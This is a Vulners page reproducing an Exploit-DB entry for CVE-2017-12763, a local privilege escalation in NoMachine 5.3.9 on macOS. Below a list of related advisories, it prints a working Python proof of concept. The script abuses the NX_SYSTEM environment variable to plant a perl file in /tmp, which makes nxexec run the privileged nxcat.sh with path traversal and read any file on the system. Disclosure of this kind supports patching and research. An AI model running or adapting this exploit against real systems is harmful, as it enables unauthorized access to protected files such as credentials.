Lucene search
K

NoMachine 5.3.9 - Local Privilege Escalation

🗓️ 09 Aug 2017 00:00:00Reported by Daniele LinguaglossaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 51 Views

NoMachine LPE - Local Privilege Escalation CVE-2017-12763, Executes nxcat.sh to read any fil

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-12763
29 Aug 201715:29
attackerkb
CNVD
NoMachine for Mac OS X and Linux Elevation of Privilege Vulnerability
30 Aug 201700:00
cnvd
CVE
CVE-2017-12763
29 Aug 201715:00
cve
Cvelist
CVE-2017-12763
29 Aug 201715:00
cvelist
EUVD
EUVD-2017-4302
7 Oct 202500:30
euvd
exploitpack
NoMachine 5.3.9 - Local Privilege Escalation
9 Aug 201700:00
exploitpack
NVD
CVE-2017-12763
29 Aug 201715:29
nvd
OSV
CVE-2017-12763
29 Aug 201715:29
osv
Prion
Code injection
29 Aug 201715:29
prion
"""
# Exploit Title: NoMachine LPE - Local Privilege Escalation
# Date:  09/08/2017
# Exploit Author: Daniele Linguaglossa
# Vendor Homepage: https://www.nomachine.com
# Software Link: https://www.nomachine.com
# Version: 5.3.9
# Tested on: OSX
# CVE : CVE-2017-12763

NoMachine uses a file called nxexec in order to execute different action as super user, nxexec allow to execute
sh files within a sandboxed path, additionally other checks such as parent process name, parent process path are
performed in order to be sure only NoMachine application are allowed to execute nxexec.
nxnode.bin allow to spoof a local path via NX_SYSTEM environment variable, this is use to craft a path where a perl
file will be executed, this PoC exploit the NX_SYSTEM variable in order to allow a custom perl file to call nxexec
and execute privileged nxcat.sh script in order to read any file on filesystem.
"""

import os
import sys

print "[!] NoMachine - EoP - Read any file by @dzonerzy"
if len(sys.argv) == 4:
    nxnode = sys.argv[1]
    nxexec = sys.argv[2]
    toread = sys.argv[3]
    user = os.environ.get("USER")
    tmp_path = "/tmp/lib/perl/nxnode"
    tmp_file = "/tmp/lib/perl/nxnode/nxnode.pl"
    tmp_file_content = "print \"[*] Exploiting vulnerability\\n\";" \
                       "system(\"{0} " \
                       "nxcat.sh 1 {1} 2 '../../../../../..{2}'\");".format(nxexec, user, toread)
    print "[*] Crafting tmp environment"
    os.system("mkdir -p {0}".format(tmp_path))
    with open(tmp_file,"w") as tmp:
        tmp.write(tmp_file_content)
        tmp.close()
    os.system("NX_SYSTEM=/tmp {0}".format(nxnode))
    os.unlink(tmp_file)
    os.system("rm -r /tmp/lib")
else:
    print "Usage: {0} <path of nxnode.bin> <path of nxexec> <file to read>".format(sys.argv[0])

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Aug 2017 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 38.8
CVSS 29
EPSS0.05074
51